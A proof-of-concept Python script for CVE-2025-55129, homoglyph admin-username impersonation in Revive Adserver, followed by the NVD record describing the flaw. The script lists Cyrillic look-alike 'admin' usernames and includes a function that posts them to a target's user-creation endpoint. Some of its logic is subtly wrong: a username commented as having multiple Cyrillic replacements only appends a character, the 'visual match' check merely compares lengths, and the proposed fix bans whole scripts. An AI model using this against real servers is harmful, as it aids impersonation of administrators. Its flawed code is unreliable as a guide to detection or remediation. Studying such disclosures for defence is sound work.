CVE-2025-55129

# CVE-2025-55129 PoC - Homoglyph Username Impersonation # This PoC demonstrates the homoglyph attack on Revive Adserver username handling import requests import json # Target Revive Adserver instance TARGET_URL = "http://target-server/revive-adserver" # Homoglyph usernames - visually identical to 'admin' but using Cyrillic characters HOMOGLYPH_USERNAMES = [ "аdmin", # Cyrillic 'а' (U+0430) instead of Latin 'a' (U+0061) "admіn", # Cyrillic 'і' (U+0456) instead of Latin 'i' (U+0069) "аdmin\u0430", # Multiple Cyrillic replacements ] def check_username_collision(username): """Check if a homoglyph username would be displayed as 'admin'""" # Simulate the display collision # In vulnerable version, these would appear identical to 'admin' normal_admin = "admin" # Unicode normalization check import unicodedata normalized_homoglyph = unicodedata.normalize('NFKC', username) normalized_admin = unicodedata.normalize('NFKC', normal_admin) print(f"[*] Username: {username}") print(f"[*] Normalized: {normalized_homoglyph}") print(f"[*] Matches 'admin': {normalized_homoglyph == normalized_admin}") print(f"[*] Visual match: {len(username) == len(normal_admin)}") return normalized_homoglyph != normalized_admin def exploit_registration(username, password, email): """Attempt to register a homoglyph username""" endpoint = f"{TARGET_URL}/account-user-modify.php" # Registration payload payload = { "username": username, "password": password, "email": email, "submit": "Create" } try: response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200: print(f"[!] Potential registration attempt for: {username}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False def generate_defense_code(): """Code to fix the vulnerability - implement Unicode normalization""" fix_code = ''' # Recommended fix for username validation import unicodedata import re def safe_username_validation(username): """Secure username validation with Unicode normalization""" # Step 1: Unicode NFC normalization normalized = unicodedata.normalize('NFC', username) # Step 2: Reject usernames with confusable characters CONFUSABLE_RANGES = [ (0x0400, 0x04FF), # Cyrillic (0x0500, 0x052F), # Cyrillic Supplement (0x1F00, 0x1FFF), # Greek Extended ] for char in normalized: codepoint = ord(char) for start, end in CONFUSABLE_RANGES: if start <= codepoint <= end: return False, "Username contains confusable characters" # Step 3: Check against known homoglyph database # Use confusable-homoglyphs library return True, "Username is safe" ''' return fix_code if __name__ == "__main__": print("=" * 60) print("CVE-2025-55129 - Revive Adserver Homoglyph Impersonation PoC") print("=" * 60) print("\n[*] Testing username collision scenarios...") for username in HOMOGLYPH_USERNAMES: check_username_collision(username) print("\n[*] Defense code recommendation:") print(generate_defense_code())

{"cve": {"id": "CVE-2025-55129", "sourceIdentifier": "[email protected]", "published": "2025-12-02T02:15:46.987", "lastModified": "2025-12-30T14:31:58.787", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HackerOne community member Kassem S.(kassem_s94) has reported that username handling in Revive Adserver was still vulnerable to impersonation attacks after the fix for CVE-2025-52672, via several alternate techniques. Homoglyphs based impersonation has been independently reported by other HackerOne users, such as itz_hari_ and khoof."}, {"lang": "es", "value": "El miembro de la comunidad de HackerOne Kassem S.(kassem_s94) ha informado que el manejo de nombres de usuario en Revive Adserver seguía siendo vulnerable a ataques de suplantación de identidad después de la corrección para CVE-2025-52672, a través de varias técnicas alternativas. La suplantación de identidad basada en homóglifos ha sido reportada independientemente por otros usuarios de HackerOne, como itz_hari_ y khoof."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-176"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aquaplatform:revive_adserver:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.0.4", "matchCriteriaId": "BC8F67CA-EF9B-460D-B3AE-B75A747524DD"}]}]}], "references": [{"url": "https://hackerone.com/reports/3434156", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}